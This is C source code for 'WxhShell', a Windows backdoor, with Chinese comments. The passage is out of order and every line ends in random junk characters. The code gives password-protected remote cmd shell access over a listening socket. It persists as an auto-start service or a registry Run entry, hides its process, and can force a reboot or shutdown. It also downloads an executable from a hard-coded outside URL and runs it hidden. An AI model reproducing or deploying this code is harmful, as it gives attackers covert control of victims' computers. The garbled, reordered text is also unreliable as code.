    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |]kcgLqj  
    if(Boot(SHUTDOWN)) n&DRh.@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v!{mpF  
    else { ?fr -5&,  
    closesocket(wsh); @Fv"j9j-3G  
    ExitThread(0); {x$jGiag+8  
    } tXDO@YH3S  
    break; E2+x?Sc+  
    } ^@5#jS2  
  // 获取shell 8FYcUvxfT  
  case 's': { f mXU)  
    CmdShell(wsh); >G(M&  
    closesocket(wsh); n#8N{ya5x1  
    ExitThread(0); w7GF,a  
    break;  ;j|T#-.  
  } ~?T*D*  
  // 退出 #z$FxZT<b  
  case 'x': { +0lvQVdp}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x=7hOI5u  
    CloseIt(wsh); >*rH Nf  
    break; /G[; kR"  
    } j5QS/3  
  // 离开 RR R'azT  
  case 'q': { O%?noW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %<8@NbF  
    closesocket(wsh); sz}YX R=m  
    WSACleanup(); DG1C_hu i  
    exit(1); & c a-  
    break; ozv:$>v@"  
        } vF,\{sgW  
  } B]jN~CO?  
  } WB~ ^R<g  
,QU2xw D[  
  // 提示信息 S^ ij%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZtG5vdf  
} 94Wf ]  
  } rN* , U\q  
H%2Y8}  
  return; aM/sD=}  
} B^`'2$3  
jF4h/((|EU  
// shell模块句柄 H]>b<Cs  
int CmdShell(SOCKET sock) ~Mu=,OT  
{ ;/.ZjTRw  
STARTUPINFO si; LU "e9  
ZeroMemory(&si,sizeof(si)); 9*wS}A&Jh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gQHE2$i>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MHZ!noAr  
PROCESS_INFORMATION ProcessInfo; an!ceB  
char cmdline[]="cmd"; ;`ZGiax  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eF)vx{s  
  return 0; DSiI%_[Ud  
} <tp\+v! u  
=fy~-FN_  
// 自身启动模式 ,#;%ILF4%  
int StartFromService(void) 2Hltgt,  
{ e]N?{s   
typedef struct G;r-f63N  
{ 'Y`.0T[&  
  DWORD ExitStatus; 'uAH, .B  
  DWORD PebBaseAddress; i&KD)&9b#  
  DWORD AffinityMask; z=q   
  DWORD BasePriority; qgTN %%"~  
  ULONG UniqueProcessId; >9KQWeD  
  ULONG InheritedFromUniqueProcessId; K5(:UIWx  
}   PROCESS_BASIC_INFORMATION; h|z{ (v  
CYlZ<W'  
PROCNTQSIP NtQueryInformationProcess; GMLDmTV  
Mx& P^#B3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GS1Vcav<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pMJK?- )  
OG}auM4  
  HANDLE             hProcess; cQj{[Wt4  
  PROCESS_BASIC_INFORMATION pbi; G}.t!"  
<3]Qrjl ,b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &j2fh!\4  
  if(NULL == hInst ) return 0; ^ 'jJ~U  
P8#;a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GUUVE@Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :m|%=@]`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7vBB <\  
\gd.Bl  
  if (!NtQueryInformationProcess) return 0; t%jB[w&,os  
N"d*pi#h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6fxf|R\  
  if(!hProcess) return 0; 9r@T"$V#c  
P(N$U^pj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F,B,D^WD  
S(;3gQ77  
  CloseHandle(hProcess); Q=hf,/N  
xv! QO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3W*O%9t7  
if(hProcess==NULL) return 0; # f~,8<K  
dL9QYIfP  
HMODULE hMod; {eR,a-D!7  
char procName[255];  %trtP  
unsigned long cbNeeded; 0>jo+b\D$  
Rb_HD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Oh9jr"Gm=  
?cQ  
  CloseHandle(hProcess); XO |U4 #ya  
I<Vh Eo,  
if(strstr(procName,"services")) return 1; // 以服务启动 J?Kgev%  
;D5B$ @W>  
  return 0; // 注册表启动 LGb.>O^  
} /?b<}am  
,^JP0Vc*  
// 主模块 A]nDI:pO|  
int StartWxhshell(LPSTR lpCmdLine) , O=@I  
{ mUi|vq)`=D  
  SOCKET wsl; sePOW#|  
BOOL val=TRUE; 9gMNS6D'b  
  int port=0; 5p&&EA/  
  struct sockaddr_in door; V%~u8b  
maANxSzi  
  if(wscfg.ws_autoins) Install(); !" E&Tk}  
g+ `Ie'o<  
port=atoi(lpCmdLine); Zxw>|eKI>D  
_"`wUMee  
if(port<=0) port=wscfg.ws_port; 54 8w v  
HaeF`gI^Ee  
  WSADATA data; 38P_wf~ \  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p-U'5<n  
Xg#g`m%(M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~mUP!f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |L{<=NNs:D  
  door.sin_family = AF_INET; GXaCH))TO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B^(0>Da\  
  door.sin_port = htons(port); D]+tr%  
Py(l+Ik`>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;D_6u(IC4:  
closesocket(wsl); m{gK<T  
return 1; 8a{FxCBw  
} i3 k ',8  
k07JMS?  
  if(listen(wsl,2) == INVALID_SOCKET) { bA#E8dlC_  
closesocket(wsl); 1{+Ni{  
return 1; [.P~-6~  
}  /A|cO   
  Wxhshell(wsl); tq9t(0EL  
  WSACleanup(); [|~X~AO%  
Py 8o8*H  
return 0; n }lav  
vO" $Xw  
} {m}B=u  
ih1s`CjG  
// 以NT服务方式启动 [_j.pMH/P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FE1dr_i  
{ kl[bDb1p  
DWORD   status = 0; %>cc%(POO  
  DWORD   specificError = 0xfffffff; Uc e#v)  
`xbk)oW#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (CY VSO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6m21Y8N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lfR"22t  
  serviceStatus.dwWin32ExitCode     = 0; ?7:"D e  
  serviceStatus.dwServiceSpecificExitCode = 0; hMw}[6m  
  serviceStatus.dwCheckPoint       = 0; nZQZ!Vfj  
  serviceStatus.dwWaitHint       = 0; $i@5'[jA  
?|^1-5l3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;D]TPBE  
  if (hServiceStatusHandle==0) return; (JFa  
kYs2AzS{d  
status = GetLastError(); hmkcW r`  
  if (status!=NO_ERROR) <2y~7h:  
{ FQi"OZHq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RCNqHYR  
    serviceStatus.dwCheckPoint       = 0; V&KH{j/P  
    serviceStatus.dwWaitHint       = 0; xPqpNs-,  
    serviceStatus.dwWin32ExitCode     = status; Z<y +D-/  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?MeP<5\A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K1z"..(2J  
    return; f7OfN#I  
  } Fw:s3ON9}  
Y_PCL9G{p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9>le-}~  
  serviceStatus.dwCheckPoint       = 0; ~;m~)D  
  serviceStatus.dwWaitHint       = 0; W5:S+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &nPv%P,e  
} =KT7ZSTV  
r3Z-mJ$:  
// 处理NT服务事件,比如:启动、停止 :[(X!eP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )2F:l0g  
{ k` (_~/#  
switch(fdwControl) c<JJuG  
{ ycw'>W3.*  
case SERVICE_CONTROL_STOP: Re<X~j5]  
  serviceStatus.dwWin32ExitCode = 0; V6wYJ$]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $K<jmEC@<  
  serviceStatus.dwCheckPoint   = 0; $yaE!.Kc  
  serviceStatus.dwWaitHint     = 0; @c$mc  
  { e5fJN)+a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !l6B_[!@  
  } >E"FoZM=  
  return; |#5JI #,vX  
case SERVICE_CONTROL_PAUSE: ]2zx}D4f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v}[KVwse  
  break; xNxIqq<k  
case SERVICE_CONTROL_CONTINUE: ~`tc|Zu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k1-?2kf"{  
  break; ?\hXJih  
case SERVICE_CONTROL_INTERROGATE: B5B'H3@  
  break; &;9<a^td  
}; /q='~t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6mdJ =b#  
}  Mw'd<{  
:g<dwuVO  
// 标准应用程序主函数 :Np&G4IM>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ev0V\tl>0  
{ =NJb9S&8A  
3CQpe  
// 获取操作系统版本 @292;qi  
OsIsNt=GetOsVer(); Y/Y746I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lt0(Kf g  
b'9G`Y s^  
  // 从命令行安装 G=Ka{J  
  if(strpbrk(lpCmdLine,"iI")) Install(); D zDt:.JZ  
y L&n)   
  // 下载执行文件 WHAEB1c#Q  
if(wscfg.ws_downexe) { 7\{<AM?*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <#|3z8N2  
  WinExec(wscfg.ws_filenam,SW_HIDE); by6E "7%  
} `5e#9@/e  
NqqLRgMOR'  
if(!OsIsNt) { z8z U3?  
// 如果时win9x,隐藏进程并且设置为注册表启动 wm2Q(l*HH  
HideProc(); (nda!^f_s  
StartWxhshell(lpCmdLine); jIdhmd* $z  
} ,PN>,hFL  
else Kq!n `@  
  if(StartFromService()) =Z-.4\3  
  // 以服务方式启动 i-E&Y*\^9H  
  StartServiceCtrlDispatcher(DispatchTable); )J#@L*  
else 62vz 'b  
  // 普通方式启动 JI\u -+BE  
  StartWxhshell(lpCmdLine); vgE5(fJh  
PI0/=kS  
return 0; fvNGGn!  
} m@HU;J\I  
XTW/3pB  
y'pG'"U]_  
U?|s/U  
=========================================== (Z`Y   
N;[w`d'#  
+}9%Duim  
yxA0#6so  
5@ ZD'  
X#eVw|  
" p3^7Hr  
>{GC@Cw  
#include <stdio.h> lBh {8a|2W  
#include <string.h> eW >k'ez  
#include <windows.h> OZt'ovY  
#include <winsock2.h> 9,,v 0tE  
#include <winsvc.h> TvdmgVNP  
#include <urlmon.h> .Uih|h  
>656if O  
#pragma comment (lib, "Ws2_32.lib") o_G.J4 V  
#pragma comment (lib, "urlmon.lib") T,?^J-h^  
T 86}^=-5  
#define MAX_USER   100 // 最大客户端连接数 G0*$&G0nb  
#define BUF_SOCK   200 // sock buffer ,sLV6DM  
#define KEY_BUFF   255 // 输入 buffer VJr?` eY4  
A0[flIl  
#define REBOOT     0   // 重启 &aHj;Z(  
#define SHUTDOWN   1   // 关机 HmX (= Y  
^jCkM29eu  
#define DEF_PORT   5000 // 监听端口 8:M~m]Z+|  
qvk?5#B  
#define REG_LEN     16   // 注册表键长度 'Y"q=@Ei9  
#define SVC_LEN     80   // NT服务名长度 vkR"A\:  
\*_a#4a  
// 从dll定义API [|F.*06SK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Uw)K [T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "sHD8TUX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Bq@G@Qi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $6oLiYFX;  
bt j\v[D  
// wxhshell配置信息 9Xm"kVqd/  
struct WSCFG { |`O7> (h  
  int ws_port;         // 监听端口 F` ?pZ  
  char ws_passstr[REG_LEN]; // 口令 ^Y'>3o21f  
  int ws_autoins;       // 安装标记, 1=yes 0=no ((?^B  
  char ws_regname[REG_LEN]; // 注册表键名 ;wvV hQ  
  char ws_svcname[REG_LEN]; // 服务名 #vS>^OyP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3d,|26I7f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H<FDi{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l{y~N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %|,j'V$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oEi +S)_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m X2Qf8  
;2X1qw>  
}; xSLN  
wL%>  
// default Wxhshell configuration zizrc.g/Yg  
struct WSCFG wscfg={DEF_PORT, 0q62{p7  
    "xuhuanlingzhe", +5T0]!  
    1, 6xj&Qo  
    "Wxhshell", >)VrbPRuA  
    "Wxhshell", 2&Efqy8}DZ  
            "WxhShell Service", ?^@;8m  
    "Wrsky Windows CmdShell Service", 52%.^/  
    "Please Input Your Password: ", wPG3Ap8L  
  1, !J6k\$r  
  "http://www.wrsky.com/wxhshell.exe", Crey}A/N  
  "Wxhshell.exe" XE>XzsnC  
    }; +$<m;@mZ  
*?i~AXJm  
// 消息定义模块 n ~ =]/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n$~RgCf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _|s{G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2KPXRK  
char *msg_ws_ext="\n\rExit."; 8ztY_"]3p  
char *msg_ws_end="\n\rQuit."; &i!.6M2  
char *msg_ws_boot="\n\rReboot..."; Mv ;7kC7]  
char *msg_ws_poff="\n\rShutdown..."; [(dAv7YbN  
char *msg_ws_down="\n\rSave to "; .UJDn^@  
|:EUh  
char *msg_ws_err="\n\rErr!"; 2=U4'C4#  
char *msg_ws_ok="\n\rOK!"; CP={|]>+S  
n7Re@'N<  
char ExeFile[MAX_PATH]; &Wn!W  
int nUser = 0; @h$7C<  
HANDLE handles[MAX_USER]; US Q{o  
int OsIsNt; & d~6MSk  
@s@r5uR9B  
SERVICE_STATUS       serviceStatus; UDxfS4yI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pu}2%P)p  
`[`eg<xj  
// 函数声明 b9"Q.*c<Z^  
int Install(void); ousoG$Pc  
int Uninstall(void); EW YpYMkm  
int DownloadFile(char *sURL, SOCKET wsh); YgVZq\AV"  
int Boot(int flag); Y%Saz+  
void HideProc(void); Lo !kv*  
int GetOsVer(void); 7j@TW%FmV\  
int Wxhshell(SOCKET wsl); o 0fsM;K  
void TalkWithClient(void *cs); s3t{freM  
int CmdShell(SOCKET sock); )FgcNB1|7  
int StartFromService(void); T@f$w/15  
int StartWxhshell(LPSTR lpCmdLine); &}*[-z  
3lLO.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ! WQEv_G@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /oh[ Nu1D  
hL&z"_`  
// 数据结构和表定义 jg2>=}  
SERVICE_TABLE_ENTRY DispatchTable[] = 8vchLl#  
{ (Kx3:gs  
{wscfg.ws_svcname, NTServiceMain},   5)mn  
{NULL, NULL} )2:d8J\  
};  fkYa  
! 5]/2  
// 自我安装 ]Wfnpqc^  
int Install(void) X4 xnr^  
{ `@eQL[Z9x  
  char svExeFile[MAX_PATH]; [x9eamJ,H  
  HKEY key; UF0PWpuO  
  strcpy(svExeFile,ExeFile); HbV[L)zYG  
k}JjSt1_A;  
// 如果是win9x系统,修改注册表设为自启动 B(E+2;!QF  
if(!OsIsNt) { DQwbr\xy\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xo$(zGb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^F_c'  
  RegCloseKey(key); (?oK+,v?L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7TlOF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  Q L  
  RegCloseKey(key); @0+@.&Z  
  return 0; 3M/kfy  
    } $S3C_..  
  } _AK-AY  
} (AV j_Cw  
else {  rf oLg  
@#;~_?$?C  
// 如果是NT以上系统,安装为系统服务 = q;ACW,z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qJrK?:O;  
if (schSCManager!=0) 'BtvT[KM  
{ j#.Aiy:,  
  SC_HANDLE schService = CreateService 2gukK8R$  
  ( >~2oQ[ n  
  schSCManager, 9Yd<_B#  
  wscfg.ws_svcname, Ptn0;GC  
  wscfg.ws_svcdisp, /_>S0  
  SERVICE_ALL_ACCESS, $xNZ.|al  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G4]T  
  SERVICE_AUTO_START, Qp]V~s(  
  SERVICE_ERROR_NORMAL, arRb q!mO  
  svExeFile, ZC@Pfba[`  
  NULL, <D!"<&N  
  NULL, #8rLB(  
  NULL, 4Bs '5@  
  NULL, kp LDK81I  
  NULL tVFl`Xr   
  ); J?LetyDNr]  
  if (schService!=0) 3hGYNlQ^  
  { (jtrQob  
  CloseServiceHandle(schService); ;",W&HQbE  
  CloseServiceHandle(schSCManager); !w{4FE74  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wi)Y9frE  
  strcat(svExeFile,wscfg.ws_svcname); q\/ph(HF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'H zF/RKh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5{L~e>oS9  
  RegCloseKey(key); ]]V|[g&aJ  
  return 0; ? 0p_/mZ  
    } PFu{OJg&  
  } EWrIDZi  
  CloseServiceHandle(schSCManager); xN'$ Yh  
}  l|j  
} /R!:ll2  
O,x[6P54P  
return 1; e?,n>  
} 58V`I5_  
<Y:{>=  
// 自我卸载 Nu/wjx$b  
int Uninstall(void) B/0Xqyu  
{ =+DfIO  
  HKEY key; #p*D.We  
DS%~'S  
if(!OsIsNt) { n 9PYZxy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0*]n#+=  
  RegDeleteValue(key,wscfg.ws_regname); l|9' M'a  
  RegCloseKey(key); J;|a)Nw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %68'+qz  
  RegDeleteValue(key,wscfg.ws_regname); I() =Ufs5z  
  RegCloseKey(key); nl5A{ s  
  return 0; aS=-9P;v  
  } < KG q  
} -n FKP&P  
} 9kHVWDf  
else { k<Qhw)M8  
{bHUZen  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !K*(# [  
if (schSCManager!=0) {7'Wi$^F  
{ }IEwGoDwNs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =h0vdi%{  
  if (schService!=0) :e /*5ix  
  { h! =h0  
  if(DeleteService(schService)!=0) { 4a}[&zm(5  
  CloseServiceHandle(schService); VK286[[fv  
  CloseServiceHandle(schSCManager); @QteC@k  
  return 0; 0v+ -yEkw  
  } l0 =[MXM4  
  CloseServiceHandle(schService); }@x!r=O)I  
  } mX 3p   
  CloseServiceHandle(schSCManager); >m]LV}">O  
} J?{@pA  
} _NefzZWUJ  
:aQ.:b(n  
return 1; ~jC+6v  
} ];xDXQd  
(qglD  
// 从指定url下载文件 ja^_Lh9  
int DownloadFile(char *sURL, SOCKET wsh) .DNPL5[v  
{ !]5}N^X  
  HRESULT hr; @<NuuYQ&  
char seps[]= "/"; Xii>?sA5Z"  
char *token; 5`Q j<   
char *file; t:MSV?  
char myURL[MAX_PATH]; v5>A1\  
char myFILE[MAX_PATH]; [?%q,>F  
e,N}z  
strcpy(myURL,sURL); is }>+&_  
  token=strtok(myURL,seps); ]Hp>~Zvbb  
  while(token!=NULL) XeX\u3<D  
  { DA1?M'N  
    file=token; B*Q9g r  
  token=strtok(NULL,seps); e:%|.$4OG  
  } H2H`7 +I,  
2ah%,o  
GetCurrentDirectory(MAX_PATH,myFILE); Mg #yl\v  
strcat(myFILE, "\\"); I4W@t4bZ  
strcat(myFILE, file); $=iw<B r  
  send(wsh,myFILE,strlen(myFILE),0); _%q~K (::  
send(wsh,"...",3,0); Jsl2RdI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c {/J.  
  if(hr==S_OK) sUF9_W5z  
return 0; ]{oZn5F  
else gk6UV2nE?  
return 1; v3#,Z!  
8Qo'[+4;  
} fuzB;Ea  
P q$0ih  
// 系统电源模块 q.p.$)  
int Boot(int flag) ,jOJ\WXP  
{ 8[;vC$  
  HANDLE hToken; ,DZvBS  
  TOKEN_PRIVILEGES tkp; v\GVy[Qyv  
H4s~=iB  
  if(OsIsNt) { gVrQAcJj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >))CXGE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t;BUZE_!0c  
    tkp.PrivilegeCount = 1; }x?F53I)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h%:rJ_#Zl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4;fuS_(X  
if(flag==REBOOT) { CHsg2S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >!6|yk`GJ  
  return 0; U@M3.[jw  
} w8XCU> |  
else { In?=$_p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;I&VpAPx  
  return 0; I]^>>>p$  
} ?u|@,tQ[  
  } 4qE95THB  
  else { <q8@a0e@  
if(flag==REBOOT) { q pCI [[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )\|+G5#`  
  return 0; ]QhTxrF"  
} W7^[W.  
else { Xx"<^FS[zC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -~mgct5  
  return 0; z$e6T&u5B  
} Pg%9hejf3  
} ? 3=G'Ip5n  
7~ PL8  
return 1; z Fo11;*D  
} 51SmoFbMz  
f#= c=e-A  
// win9x进程隐藏模块 P.}d@qD{)  
void HideProc(void) J#zr50@@  
{ xSm;~')g  
]1|P|Jp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hq)1YO  
  if ( hKernel != NULL ) 'v"=   
  { D7;9D*o\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $@D a|d4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g1s%x=7/  
    FreeLibrary(hKernel); 8NWo)y49H  
  } pFvu,Q"  
X H-_tvB  
return; $VuXr=f}  
} ){*+s RBW  
c2y,zq|H  
// 获取操作系统版本 5&ku]l+  
int GetOsVer(void) K]hp-QK<  
{ @1MnJP  
  OSVERSIONINFO winfo; J;C:nE|V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7l D-|yx  
  GetVersionEx(&winfo); zaqX};b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i"WYcF |  
  return 1; y0%1YY  
  else FJ:^pROpm  
  return 0; 5~L]zE  
} WMSJU/-P  
 lN,?N{6s  
// 客户端句柄模块 " 8xAe0-4  
int Wxhshell(SOCKET wsl) 8]ZzO(=@{  
{ G0E5Y;YIN$  
  SOCKET wsh; =dmr ,WE  
  struct sockaddr_in client; *MP.YI:h  
  DWORD myID; ,`@pi@<"#  
TSlB.pw%v  
  while(nUser<MAX_USER) ={qcDgn~C  
{ @^P^- B  
  int nSize=sizeof(client); D 2X_Yv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -U d^\Yy  
  if(wsh==INVALID_SOCKET) return 1; o~Se[p  
tyu@ a CK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9R50,l sE  
if(handles[nUser]==0) .Pb-{!$Ni  
  closesocket(wsh); :D D<0  
else Lo%n{*if  
  nUser++; WYw#mSp  
  } 9)Fx;GxL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tt"<1 z@  
NRi5 Vp2=  
  return 0; c-a,__c?hx  
} CXa[%{[n  
eb62(:=N6  
// 关闭 socket ?=VvFfv%  
void CloseIt(SOCKET wsh) (_T{Z>C/J  
{ A,}M ^$@  
closesocket(wsh); o ).deP s-  
nUser--; B5b:znW2@  
ExitThread(0); %6UF%dbYH`  
} '7Gv_G_  
h051Ol\v*  
// 客户端请求句柄 I;(3)^QH#  
void TalkWithClient(void *cs) |#oS7oV(  
{ /*K2i5&X  
#B `?}a=  
  SOCKET wsh=(SOCKET)cs; =Zd(<&B K  
  char pwd[SVC_LEN];  is'V%q  
  char cmd[KEY_BUFF]; qt/K$'  
char chr[1]; "-J 5!y*,Y  
int i,j; MdHm%Vx  
E+f)Zg :  
  while (nUser < MAX_USER) { ]Bhy  =1  
}E'0vf /  
if(wscfg.ws_passstr) { uDf<D.+5Ze  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #Y'eS'lv4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U!wi;W2  
  //ZeroMemory(pwd,KEY_BUFF); ,,H"?VO  
      i=0; :|S zD4Ag  
  while(i<SVC_LEN) { A# {63_H  
8>Cr6m   
  // 设置超时 K\Ea\b[  
  fd_set FdRead; p_FM 2K7!  
  struct timeval TimeOut; ]c.w+<  
  FD_ZERO(&FdRead); wQ}r/2n|^  
  FD_SET(wsh,&FdRead); RBX<>*  
  TimeOut.tv_sec=8; .E4* >@M5  
  TimeOut.tv_usec=0; E5k)~P`|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z _!ut  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TdtV (  
swKkY`g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +v Bi7#&  
  pwd=chr[0]; Y G+|r  
  if(chr[0]==0xd || chr[0]==0xa) { Q;M\fBQO}&  
  pwd=0; \Wbmmd}8  
  break; 5KCB^`|b>t  
  } :^;c(>u{  
  i++; R.~[$G!  
    } odRiCiMH  
6Rc=!_v^  
  // 如果是非法用户,关闭 socket Knq 9 "k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K1& QAXyP  
} O%b byR2  
ajYe?z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1b,a3w(:1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LQ+/|_(.  
!Ok(mgV$/  
while(1) { -YRIe<}E -  
F:{*4b  
  ZeroMemory(cmd,KEY_BUFF); Q$jEmmm%V[  
Bo 35L:r|  
      // 自动支持客户端 telnet标准   L@}PW)#  
  j=0; 7)66e  
  while(j<KEY_BUFF) { v^|U?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,:_c-d#  
  cmd[j]=chr[0]; h$cm:uks  
  if(chr[0]==0xa || chr[0]==0xd) { R4?>C-;  
  cmd[j]=0; 7|rH9Bc{U  
  break; tne_]+  
  } 20:F$d  
  j++; Lvk}%,S8t  
    } .sMs_ 5D  
u9lZHh#V-  
  // 下载文件 Fq9YhR  
  if(strstr(cmd,"http://")) { 8@3K, [Mo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SZykG[  
  if(DownloadFile(cmd,wsh)) iD^,O)b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IwYeKN6s  
  else | ,8z" g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T$Z9F^w  
  } y^. 66BH  
